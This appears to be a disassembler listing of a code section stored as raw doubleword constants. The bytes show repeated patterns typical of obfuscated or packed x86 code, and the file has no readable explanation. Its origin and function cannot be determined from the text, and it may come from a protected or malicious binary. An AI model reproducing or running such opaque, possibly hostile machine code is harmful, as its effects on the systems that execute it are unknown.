		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8B0095C3h, 1E1F55BDh, 1DAE906h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 452D8AC3h
		dd 830F3A37h, 6, 20A5BD89h, 858B061Eh, 621B01Fh, 0C7D88Bh
		dd 18h,	8BF98B66h, 21B023B5h, 81665106h, 5B0863EFh, 1CC9858Bh
		dd 689061Eh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	4DC35040h, 869005C4h, 5DD9531h,	858B061Eh, 61E1A11h
		dd 4689D88Ah, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 830F9604h, 4, 2715BF66h, 6A9650h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0D0EDC5C3h, 719D2BD9h, 0F5061E1Fh, 0B01FB5FFh, 6A0621h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 70D00C3h, 65579227h,	0C9B58926h, 0E8061E1Dh,	4, 1F03FFh
		dd 0F525050h, 280h, 0F616000h, 0BE931h,	0C1950000h, 0F5B6EB2Fh
		dd 1D195246h, 8B585A2Ch, 0E9042444h, 0Fh, 3E019C29h, 949F77E1h
		dd 0B0FC7DD2h, 8B493202h, 0FA8B6000h, 10E8h, 0F67B0B00h
		dd 971045ECh, 140B6638h, 5BBFA92Ch, 5902B3BEh, 24448961h
		dd 351BBB04h, 6658575Ah, 6B92D781h, 8DFA8B66h, 21B02785h
		dd 50FE8B06h, 2870Fh, 0C7B70000h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0AB8AC357h, 493D509Ah, 0DABF0FC1h, 27299D8Bh, 95FF061Eh
		dd 61E1441h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	19C35545h, 787F3FCBh, 68D8BB66h, 51006A61h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 90560913h, 10E1CC1h,	79BD8BB8h, 0F061E14h, 685h, 819D8B00h
		dd 0C7061E31h, 1E316985h, 306h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 531E5494h
		dd 0B5C15B48h, 0FFA8B66h, 9D89F8BFh, 61E161Dh, 0B027BD83h
		dd 0F000621h, 2E84h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 9E8CCBFh, 52AF1B6Dh, 20E908h
		dd 81660000h, 50018BDBh, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 9D29C08Bh, 61E33A9h, 0DEBF0F60h
		dd 8198589h, 8361061Eh,	1E3169BDh
		dd 850F0306h, 4D4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0A7C35141h, 8185899Dh, 83061E22h, 21B027BDh
		dd 840F0006h, 4A4h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0A3C35545h, 87D56564h, 0CE9EDh, 0C610000h
		dd 410B5931h, 0D366D0B4h, 0B5FFF2E1h, 621B027h,	670442BFh
		dd 5595FF40h, 6A061E15h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0DC41C352h,	0DDDD3640h
		dd 170DBD0Bh, 62BB061Eh, 8B07D990h, 21B01BB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 4C31C9BAh, 8F0F1308h, 0Ah, 5E9h, 1E5DE800h, 6C770FAh
		dd 10001h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0C7C35141h, 2DBD33ACh, 50061E30h, 0FE9h, 28B88700h
		dd 0C010981Bh, 250CB52Ch, 0A134A1E4h, 66243489h, 0B5FFF88Bh
		dd 621B027h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	25C35747h, 3D95FFA1h, 29061E2Bh, 1E07D995h, 1BB58B06h
		dd 6A0621B0h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0CA78C351h, 21858B3Ch,	6A061E2Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 2CCC352h,	86896F36h, 0C4h, 6890Fh, 8D890000h
		dd 61E2C49h, 2375958Bh,	6A061Eh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 5FF2C2C3h, 99D3100h
		dd 83061E0Ah, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0BDEAFFC3h, 0A3DF8060h, 1FCDB589h
		dd 8961061Eh, 6A2050h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0F07919C3h, 0DBAA9200h, 9D8B16A8h
		dd 61E1C15h, 1BD8B53h, 5B061E19h, 0C4A4858Dh, 6A0621h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 9C156AC3h, 7C6735BBh, 0B8868943h, 8A000000h,	29006AF8h
		dd 1E1E2595h, 319D0106h, 0FF061E02h, 21B027B5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 15A525EFh, 32F995FFh, 6A061Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0CA3D9C3h, 665C7ADBh
		dd 30F5EB81h, 38C0F96h,	66000000h, 0B750DE8Bh, 6A9619h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0CC5DF6C3h, 0C0F3FC06h, 14E9h, 17677300h, 0B63133F8h
		dd 0EA1618E3h, 0AAA83F9Eh, 0A81148D9h, 12F7817Ch, 0FF12E487h
		dd 21B027B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 95FFD40Eh, 61E3049h, 1269BD8Bh, 0BD83061Eh
		dd 61E0DB9h, 18840F00h,	89000000h, 1E2E7195h, 0BB669606h
		dd 665095E5h, 6696DA8Bh, 7495F381h, 0FFFBB70Fh,	21B027B5h
		dd 4652BB06h, 95FF0AF9h, 61E164Dh, 0DE8h, 743E4A00h, 7A6D2E3Fh
		dd 43E152FEh, 0CE959F3h, 7D000000h, 923BCFBFh, 135FD03h
		dd 5B2D9295h, 13899D31h, 0B5FF061Eh, 621B027h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F3C35242h, 95FF943Ch
		dd 61E09DDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	33C35646h, 0BB1FFB34h, 0E8EC0373h, 13h,	8FC64B31h
		dd 8CEE36C3h, 0B4575B46h, 0B362C19Eh, 6648C8F1h, 0FFAAEB81h
		dd 0D9BD835Fh, 2061E2Bh, 83840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0D55D29C3h
		dd 0DF8B666Fh, 0E2D858Bh, 6A061Eh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 216343C3h, 93CE38AFh
		dd 0BF717391h, 7CE581BFh, 6A0000C6h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F9DC355h
		dd 0C81h, 7E900h, 1C3F0000h, 674D512Ch,	8185C781h, 61E1Fh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0FB5C353h, 8E5BEF0Bh, 0FA819EF4h
		dd 26BD8589h, 8D89061Eh, 61E2EB9h, 0FFF250E9h, 52006AFFh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0D6B31920h, 1F719D8Bh, 9D8B061Eh, 61E2211h, 9D8BC18Bh
		dd 61E16B1h, 19DD858Dh,	6A061Eh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 388892C3h, 41D8AA91h
		dd 5FBB6650h, 24048905h, 0CC3EBF66h, 5E9006Ah, 5A000000h
		dd 3BEDFE4Fh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 3A76CFC3h, 61E4E552h, 83C78166h
		dd 97858DEDh, 6A062301h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 8689C357h, 0D7710A05h
		dd 0D8414788h, 2C219D8Bh, 0C083061Eh, 95B53105h, 50061E0Eh
		dd 6E8h, 0EDC5D900h, 0E9D6D9D0h, 9, 9E8EE5DCh, 76C749FBh
		dd 4895F82h, 56006A24h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0A3C88228h, 0CAB442Dh, 2D89B589h
		dd 6A061Eh, 19C18509h, 9D8B061Eh, 61E1F2Dh, 6A006Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 2E8848C3h, 8A0F56E0h, 6, 165DB529h, 95FF061Eh, 61E21EDh
		dd 3E0B260h, 1E0849BDh,	8D8D6106h, 62194B6h, 885911BBh
		dd 89D1FF03h, 1E1AE1BDh, 0FABF0F06h, 272DBD83h,	0F01061Eh
		dd 9A85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 845E4669h, 895C6AC5h, 1E25C19Dh
		dd 0E9026A06h, 9, 0DFCF2398h, 0D86FE9D5h, 0DE8B504Ch, 6A240489h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 5DC353h, 7BEF81F9h, 8A116782h, 0F995FFFAh
		dd 6A061E32h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0E73BC356h, 6072341Ch,	0A099D89h
		dd 8D8B061Eh, 61E2261h,	0E9F98B61h, 0DB6h, 0E8h, 0ED815D00h
		dd 62301A1h, 1B9D9589h,	8529061Eh, 61E2DADh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 4FC35646h, 0BD8B2CAEh
		dd 61E2DDDh, 8DFE858Dh,	8B0F0621h, 8, 0C98D2950h, 5B061E2Fh
		dd 0CE950h, 0B3F0000h, 8791BF3Fh, 5BCFDF69h, 489912Eh
		dd 0B1EB8124h, 6446F559h, 35FFh, 9D890000h, 61E02F5h, 268D9D89h
		dd 8964061Eh, 25h, 0D19D8B00h, 0F061E29h, 38Dh,	0F9B70F00h
		dd 1D9185FFh, 0B70F061Eh, 8BFF6AFFh, 1E33A9BDh,	91B5FF06h
		dd 89061E29h, 1E01519Dh, 5595FF06h, 0E9061E16h,	101h, 988E82BBh
		dd 43E3816Bh, 0B048B9F9h, 0BF0F6000h, 418D29C0h, 61061E29h
		dd 0C78170E6h, 7BD8CD22h, 858971E4h, 61E1445h, 830F613Ch
		dd 0D1h, 0C8B60FF5h, 125D9D8Bh
		dd 6BA061Eh, 0F000000h,	0C18BDBBFh, 7F98589h, 0E8C1061Eh
		dd 7FC3BB04h, 9D8B04F7h, 61E0EE5h, 8BE2F766h, 1E041DBDh
		dd 9C82B06h, 1E04B19Dh,	1D18B06h, 1E26F98Dh, 8BE906h, 13E80000h
		dd 1C000000h, 0A22D29ADh, 731DD64Fh, 0CF1DFA3Dh, 6FDBBF29h
		dd 0BD8B5FBAh, 61E14DDh, 49858B5Bh, 8A44004Eh, 7C083FEh
		dd 870F60h, 66000000h, 0C605DF81h, 0C08361h, 2CD9D89h
		dd 0D03B061Eh, 0F830Fh,	0BF660000h, 3AE9F450h, 29000000h
		dd 1E21A585h, 0FF8D8B06h, 0FCFFFFFFh, 0F01E183h, 2484h
		dd 99BD8B00h, 83061E1Dh, 0FFFFFFA5h, 9D8BFEFFh,	61E0E19h
		dd 4E499589h, 9D014400h, 61E2279h, 0E9h, 0F2B58D00h, 6A06227Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 77CFC356h, 161DBD89h, 6A061Eh, 0BE9h, 0E41A4400h
		dd 7397416Ch, 0D6E7A5BFh, 26C195FFh, 0A2B9061Eh, 0F000010h
		dd 0C381FABFh, 736EF0DBh, 6AFCE183h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6E0CC357h
		dd 9BBB66D4h, 0BD29FCF1h, 61E29E5h, 6AC02Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0C4B495C3h
		dd 89DD8AC2h, 1E1D718Dh, 0BA06h, 8D0F0000h, 23h, 0DE8h
		dd 140ED900h, 0E474EDE1h, 0B7A24556h, 0AE8D88Eh, 0E6000000h
		dd 69CA5FDCh, 0F9E7CE84h, 0AD5B5FF7h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 6600C355h, 61BF6683h, 0F98B66A5h
		dd 32D9BD8Bh, 880D061Eh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4EE6C356h
		dd 93C78056h, 12E95Bh, 0AFD50000h, 60C12CECh, 0F6493810h
		dd 0E0963092h, 0FBEEFFAEh, 2375958Bh, 0BE9061Eh, 0E4000000h
		dd 96AF9FB8h, 2E61D955h, 8D8B76BFh, 61E324Dh, 9E9h, 0DDEC6E00h
		dd 4EFBA50Bh, 8B50D2FDh, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	8AC35343h, 0DADB2C7Eh, 0F493A07h, 9589DAB7h, 61E33B5h
		dd 259BD83h, 0F00061Eh,	6D84h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 3956F0FFh
		dd 719D8B6Eh, 89061E2Eh, 1E233DB5h, 0B806h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 8DFC9BC3h, 1E4CB88Dh, 48E0F06h, 66000000h, 0F8B85ABBh
		dd 8B0FE1FFh, 6, 22BD9D8Bh, 0BD83061Eh,	61E3169h, 1D840F00h
		dd 66000004h, 0ED04CF81h, 3169BD83h, 0F01061Eh,	42684h
		dd 64C38000h, 3169BD83h, 0F03061Eh, 3E086h, 14E900h, 0F1E00000h
		dd 5FB5111Fh, 0B4BCD2EDh, 92BAD86Dh, 0DA51A34Ch, 8B60CAB5h
		dd 1E1F2D9Dh, 0D98C6606h, 381BD01h, 0E180061Eh,	56006A04h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0BB64E988h, 11E8C846h, 0D0000000h, 292FAFAEh, 347BB15Fh
		dd 10E73F03h, 53C2A459h, 1E3DBD8Bh, 0A5B061Eh, 8B840FC9h
		dd 0F000001h, 68Ch, 10CF8100h, 8B045FA6h, 1E16319Dh, 11858B06h
		dd 80061E1Ah, 85332FDBh, 61E14BDh, 89FEB70Fh, 1E0465B5h
		dd 52505006h, 11E8h, 82B000h, 7C9E6974h, 0E3756C78h, 4359F9A1h
		dd 0F5F0F2Bh, 8A525031h, 51310FDCh, 5A585A5Fh, 24048958h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 78C35242h
		dd 5FD9FB8Eh, 50329321h, 0CE8h,	4B10A900h, 0F8E15977h
		dd 0F324B9CDh, 1E62BB68h, 575B75AFh, 0A3C78166h, 6A5B22h
		dd 0E8F0Fh, 0F600000h, 89h, 25950300h, 61061E1Bh, 4E8h
		dd 1F03FF00h, 0BCA4BF00h, 505022D8h, 7E952h, 0C8210000h
		dd 42EC0518h, 60310F7Dh, 0A4E0EEBBh, 0F525069h,	61585A31h
		dd 448B585Ah, 35BB0424h, 8B417D99h, 158A0F00h, 56000000h
		dd 0DE8h, 0D52F4B00h, 0E2CA339h, 936BA091h, 5F5BE7BCh
		dd 4244489h, 11E8h, 0F9DB6100h,	0DE08B43h, 3689C167h, 0B8F90E64h
		dd 0DE8BC6DAh, 9D89585Fh, 61E1AADh, 144195FFh, 25BF061Eh
		dd 8963C1B1h, 21B02785h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0B99D01FDh, 0E9061E09h
		dd 1B4h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0FAC35646h, 23218F94h, 0BD8BA2E6h, 61E1479h, 23619D0Bh
		dd 858B061Eh, 621B01Fh,	4890Fh,	0BB660000h, 0C714D6h, 18h
		dd 19C19D8Bh, 0B58B061Eh, 621B023h, 858BDEB7h, 61E1CC9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0FBC35242h
		dd 8D140AE6h, 25F004h, 0F50689F1h, 13519D29h, 858B061Eh
		dd 61E1A11h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0B8C35242h, 3A3D33A4h, 0A8A0FD7h, 60000000h, 8D896160h
		dd 61E1CA9h, 4468961h, 6830Fh, 0BD8B0000h, 61E1989h, 13E996h
		dd 94880000h, 0B3120845h, 5A9E9F21h, 318D9B3Dh,	0A3A2F948h
		dd 6660504Fh, 8BD4DEBAh, 6A9661F1h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0BD33C357h
		dd 8E9CCh, 0BF490000h, 671DA23Bh, 0B5FF5F91h, 621B01Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 3C35141h
		dd 987063C4h, 59D8B4Fh,	68061E1Fh, 33F9A169h, 731DBB66h
		dd 96243481h, 8933E6A2h, 1E2AC99Dh, 27858D06h, 0F0621B0h
		dd 6690FFBFh, 0BF50DA8Bh, 4E5FEDC7h, 12E890h, 0B6410000h
		dd 934CE2F3h, 57D2368Fh, 0F2134FA5h, 97F6F4A6h,	758AD381h
		dd 0FF5F257Dh, 1E144195h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0FC8A2671h
		dd 0E5B50161h, 0C7061E19h, 1E316985h, 306h, 0FFC8A00h
		dd 0D80h, 81666000h, 8BE8AFEBh,	1E0CA9BDh, 0BD836106h
		dd 621B027h, 2A840F00h,	89000000h, 1E224DB5h, 3AE906h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0A68B49C3h, 0C3050F3h, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 39C35141h, 51006A49h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BD2BACD8h
		dd 61E25C9h, 3169BD83h,	0F03061Eh, 4E185h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 40AA2950h, 29E62974h, 1E0411B5h, 27BD8306h, 621B0h
		dd 4AC840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 5D8038C3h, 0DE6774E6h, 0E8F48589h
		dd 0Ch
		dd 23A31633h, 0C277AEA8h, 5CCB0834h, 32D59589h,	895F061Eh
		dd 1E19E58Dh, 27B5FF06h, 0B0621B0h, 1E00E5BDh, 81B52906h
		dd 0FF061E23h, 1E155595h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0B58BF9D9h
		dd 621B01Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0CBC35545h, 106C7h, 880F0001h, 16h, 11E9h, 0A077CC00h
		dd 9A6B5951h, 0BBD40590h, 67ACB1D6h, 8B509506h,	243489DFh
		dd 5E9h, 0C3F1DC00h, 0B5FF9130h, 621B027h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0E7C35141h, 0E55FBDACh
		dd 5063E46Fh, 5FBF66CCh, 3D95FF31h, 6A061E2Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 5309C352h, 0FCA02CBDh, 5BD0345h, 8B061E03h, 21B01BB5h
		dd 6DB58906h, 8B061E30h, 1E2BD1BDh, 21858B06h, 6A061E2Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 636DC350h, 95296F2Bh, 61E0391h, 1811BD89h
		dd 8689061Eh, 0C4h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 2AC35343h, 0C923921Bh, 71BF6608h, 75958BE1h
		dd 56061E23h, 835FDE8Bh, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0F88B61C3h, 3840Fh, 8B660000h
		dd 205089DFh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	9EC35242h, 709DEADFh, 9D8B6672h, 61E2779h, 0C4A4858Dh
		dd 6A0621h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8B66FCC3h, 1E05559Dh, 8ABF6606h, 0B8868954h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0A5E2C351h, 6AF98B2Ch,	0C1B58900h
		dd 2B061E25h, 1E0CB9BDh, 27B5FF06h, 8B0621B0h, 1E07F99Dh
		dd 0F995FF06h, 31061E32h, 1E03E585h, 0EDBB5006h, 893D51E7h
		dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 9FEA71C3h, 92D86E1h, 0E9CAA5F8h, 8, 53F8B7BCh
		dd 9691ECE2h, 0B027B5FFh, 80600621h, 890F19EBh,	6, 2099B589h
		dd 0FF61061Eh, 1E304995h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 32AEBD35h
		dd 3E159C7Dh, 12E963ADh, 23000000h, 0C0495A42h,	1B3BC6EFh
		dd 0CBA3FEADh, 788FF5E9h, 0B9BD8389h, 61E0Dh, 48840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 780610C3h, 9D89BF46h, 61E1759h, 0FE996h
		dd 0AFF0000h, 0D76C1243h, 888A1Dh, 0CDDCBC3Ah, 32BB50F5h
		dd 9651888Eh, 2069BD8Bh, 0B5FF061Eh, 621B027h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F2C35646h, 0DECCF514h
		dd 51588380h, 4D95FFA1h, 6A061E16h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 14BCC350h
		dd 2D85896Fh, 0FF061E1Eh, 21B027B5h, 0CF816606h, 805285EEh
		dd 0FF5F41D3h, 1E09DD95h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 2B7CDFA0h
		dd 0AB7B0E76h, 12E91C55h, 1C000000h, 0A9189CEAh, 0E79B5FF3h
		dd 88C7FBBCh, 0C42209D7h, 0D9BD8320h, 2061E2Bh,	6A840Fh
		dd 0F7800000h, 2D858B6Bh, 6A061E0Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 3DEDC357h
		dd 0FE8B6684h, 27219589h, 890F061Eh, 0
		dd 6A0000C6h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 2702C352h, 0DE9C8E7h, 0FC000000h
		dd 284C511Dh, 0AC6E74DFh, 67E5E77Ah, 1F8185C7h,	61Eh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 6660D7C3h, 29CA6ABBh, 1E31858Dh, 0BB666106h,	22E98B65h
		dd 6AFFFFF3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 425CC351h, 0BE9h, 0A0F96600h
		dd 0FA384B03h, 8E6E26CAh, 16D1BD8Bh, 0C18B061Eh, 1545BD89h
		dd 858D061Eh, 61E19DDh,	0D88B6690h, 79E3BB50h, 6A902B44h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 165BC356h, 9D89C75Bh, 61E0DF1h, 2F39BD8Bh
		dd 6A061Eh, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 17h,	51C35040h, 6AD5A8F0h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0A1B72BCBh
		dd 4A42B345h, 0B501D440h, 61E1A9Dh, 11A3858Dh, 6A0623h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 67661CC3h, 0D6868890h, 0E8FFE6D6h, 11h, 0EF97ED42h
		dd 295335B7h, 0DF32F05Bh, 0A7E2441Eh, 5B7CB734h, 6605C083h
		dd 6690D88Bh, 6050F88Bh, 0C28B6650h, 61E88A58h,	50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 5C34F6D3h, 6AF99C1Bh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 9FD9BBBDh, 6A006A86h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0AC3C355h, 95FF5A2Fh, 61E21EDh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0FEC35141h, 816056D3h
		dd 51C0B2F3h, 0D7816620h, 5F61F6DAh, 94B68D8Dh,	6A0621h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0A9A5A1C3h, 0BAD331A6h, 89B7A77Bh, 1E2719BDh, 8BD1FF06h
		dd 1E1F95BDh, 2DBD8306h, 1061E27h, 91850Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0FAD612C3h, 0C78166F8h, 26AA5E3h, 0EE5BD2Bh,	0F50061Eh
		dd 8Bh,	24048900h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 21C35040h, 0F995FFD3h, 6A061E32h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0AFF2C357h, 0E2BAC803h, 0E964E10Dh, 0Fh, 19D1BE30h
		dd 67FCFA12h, 0B614C5D6h, 0E996C448h, 0D1Fh, 0E8h, 0ED815D00h
		dd 62311ADh, 0FE9h, 60818400h, 0F88672D0h, 0C929E138h
		dd 0BE93EDC6h, 858DDE8Bh, 6218DFEh, 10B390F5h, 0BE950h
		dd 3B360000h, 0B80495ABh, 51F090BFh, 0FF649089h, 35h, 0DDBD8900h
		dd 64061E01h, 2589h, 81510000h,	47E9C7F3h, 85FF5B5Ah, 61E1D91h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E0C35747h
		dd 80C7A74Bh, 0FF6A85EBh, 10E8h, 0AB830100h, 534AC79Dh
		dd 0DF648DF4h, 0F942D090h, 6890F04h, 0F000000h,	88h, 0B5FF5B00h
		dd 61E327Dh, 0EE9h, 0A3037800h,	0A744D9FEh, 3485C9B6h
		dd 609A5C25h
		db 0E8h, 10h
word_580046	dw 0			; DATA XREF: ___:off_427A80o
					; ___:00427A88o ...
		dd 305B6900h, 5F254979h, 68F1539Dh, 0BC7C42E5h,	295FF93Eh
		dd 1E2FD1B5h, 95FF6106h, 61E1655h, 12CE9h, 8B0F00h, 66000000h
		dd 0B02915BBh, 19958900h, 1061E16h, 1E02C99Dh, 8B70E606h
		dd 1E275D9Dh, 6671E406h, 0F917CB81h, 830F613Ch,	0FDh, 8E8h
		dd 0B25A6500h, 0B206AABFh, 0B60F5FB3h, 3810FC8h, 66000000h
		dd 6BAD98Bh, 8B000000h,	0C19589C1h, 0C1061E01h,	296004E8h
		dd 1E00D59Dh, 6ADA8006h, 66DF8B61h, 0C82BE2F7h,	25A59589h
		dd 7E9061Eh, 80000000h,	6BAC7527h, 0D18BF52Fh, 42080CBFh
		dd 0A3E96Eh, 9600000h, 1E2CCD85h, 0F2B96606h, 858B61F1h
		dd 505F4C4Ch, 0F07C083h, 0C083D8B7h, 0AE900h, 34F0000h
		dd 762ABC28h, 41BFEF6Fh, 830FD03Bh, 11h, 0ED58589h, 66E9061Eh
		dd 89000000h, 1E0A09BDh, 0FF8D8B06h, 60FFFFFFh,	13E8h
